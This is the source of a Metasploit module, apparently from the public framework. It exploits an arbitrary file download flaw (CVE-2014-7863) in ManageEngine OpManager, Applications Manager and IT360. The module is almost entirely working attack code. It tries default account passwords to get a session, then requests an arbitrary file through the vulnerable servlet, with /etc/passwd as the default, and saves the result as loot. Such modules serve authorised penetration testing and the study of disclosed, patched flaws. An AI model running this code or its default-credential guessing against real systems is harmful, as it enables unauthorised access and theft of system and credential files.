metasploit-framework/modules/auxiliary/admin/http/manageengine_file_download.rb

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ManageEngine Multiple Products Arbitrary File Download",
      'Description'    => %q{
        This module exploits an arbitrary file download vulnerability in the FailOverHelperServlet
        on ManageEngine OpManager, Applications Manager and IT360. This vulnerability is
        unauthenticated on OpManager and Applications Manager, but authenticated in IT360. This
        module will attempt to login using the default credentials for the administrator and
        guest accounts; alternatively you can provide a pre-authenticated cookie or a username
        and password combo. For IT360 targets enter the RPORT of the OpManager instance (usually
        8300). This module has been tested on both Windows and Linux with several different
        versions. Windows paths have to be escaped with 4 backslashes on the command line. There is
        a companion module that allows the recursive listing of any directory. This
        vulnerability has been fixed in Applications Manager v11.9 b11912 and OpManager 11.6.
      },
      'Author'       =>
        [
          'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability Discovery and Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2014-7863'],
          ['OSVDB', '117695'],
          ['URL', 'http://seclists.org/fulldisclosure/2015/Jan/114'],
          ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/ManageEngine/me_failservlet.txt']
        ],
      'DisclosureDate' => 'Jan 28 2015'))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, "The base path to OpManager, AppManager or IT360", '/']),
        OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']),
        OptString.new('IAMAGENTTICKET', [false, 'Pre-authenticated IAMAGENTTICKET cookie (IT360 target only)']),
        OptString.new('USERNAME', [false, 'The username to login as (IT360 target only)']),
        OptString.new('PASSWORD', [false, 'Password for the specified username (IT360 target only)']),
        OptString.new('DOMAIN_NAME', [false, 'Name of the domain to logon to (IT360 target only)'])
      ], self.class)
  end


  def get_cookie
    cookie = nil
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['TARGETURI'])
    })

    if res
      cookie = res.get_cookies
    end

    cookie
  end

  def detect_it360
    res = send_request_cgi({
      'uri'    => '/',
      'method' => 'GET'
    })

    if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})/
      return true
    end

    return false
  end

  def get_it360_cookie_name
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/')
    })

    cookie = res.get_cookies

    if cookie =~ /IAMAGENTTICKET([A-Z]{0,4})/
      return $1
    else
      return nil
    end
  end

  def authenticate_it360(port, path, username, password)
    if datastore['DOMAIN_NAME'].nil?
      vars_post = {
        'LOGIN_ID' => username,
        'PASSWORD' => password,
        'isADEnabled' => 'false'
      }
    else
      vars_post = {
        'LOGIN_ID' => username,
        'PASSWORD' => password,
        'isADEnabled' => 'true',
        'domainName' => datastore['DOMAIN_NAME']
      }
    end

    res = send_request_cgi({
      'rport' => port,
      'method' => 'POST',
      'uri' => normalize_uri(path),
      'vars_get' => {
        'service' => 'OpManager',
        'furl' => '/',
        'timestamp' => Time.now.to_i
      },
      'vars_post' => vars_post
      })

    if res && res.get_cookies.to_s =~ /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/
      # /IAMAGENTTICKET([A-Z]{0,4})=([\w]{9,})/ -> this pattern is to avoid matching "removed"
      return res.get_cookies
    end

    nil
  end

  def login_it360
    # Do we already have a valid cookie? If yes, just return that.
    unless datastore['IAMAGENTTICKET'].nil?
      cookie_name = get_it360_cookie_name
      cookie = 'IAMAGENTTICKET' + cookie_name + '=' + datastore['IAMAGENTTICKET'] + ';'
      return cookie
    end

    # get the correct path, host and port
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/')
    })

    if res && res.redirect?
      uri = [ res.redirection.port, res.redirection.path ]
    else
      return nil
    end

    if datastore['USERNAME'] && datastore['PASSWORD']
      print_status("Trying to authenticate as #{datastore['USERNAME']}/#{datastore['PASSWORD']}...")
      cookie = authenticate_it360(uri[0], uri[1], datastore['USERNAME'], datastore['PASSWORD'])
      unless cookie.nil?
        return cookie
      end
    end

    default_users = ['guest', 'administrator', 'admin']

    default_users.each do |user|
      print_status("Trying to authenticate as #{user}...")
      cookie = authenticate_it360(uri[0], uri[1], user, user)
      unless cookie.nil?
        return cookie
      end
    end

    nil
  end

  def run
    # No point to continue if filepath is not specified
    if datastore['FILEPATH'].empty?
      print_error('Please supply the path of the file you want to download.')
      return
    end

    if detect_it360
      print_status("Detected IT360, attempting to login...")
      cookie = login_it360
      if cookie.nil?
        print_error("Failed to login to IT360!")
        return
      end
    else
      cookie = get_cookie
    end

    servlet = 'com.adventnet.me.opmanager.servlet.FailOverHelperServlet'
    res = send_request_cgi({
      'method' => 'GET',
      'cookie' => cookie,
      'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
    })
    if res && res.code == 404
      servlet = 'FailOverHelperServlet'
    end

    # Create request
    begin
      print_status("Downloading file #{datastore['FILEPATH']}")
      res = send_request_cgi({
        'method' => 'POST',
        'cookie' => cookie,
        'uri' => normalize_uri(datastore['TARGETURI'], 'servlet', servlet),
        'vars_get' => {
          'operation' => 'copyfile',
          'fileName' => datastore['FILEPATH']
        }
      })
    rescue Rex::ConnectionRefused
      print_error("Could not connect.")
      return
    end

    # Show data if needed
    if res && res.code == 200

      if res.body.to_s.bytesize == 0
        print_error("0 bytes returned, file does not exist or is empty.")
        return
      end

      vprint_line(res.body.to_s)
      fname = File.basename(datastore['FILEPATH'])

      path = store_loot(
        'manageengine.http',
        'application/octet-stream',
        datastore['RHOST'],
        res.body,
        fname
      )
      print_good("File saved in: #{path}")
    else
      print_error("Failed to download file.")
    end
  end
end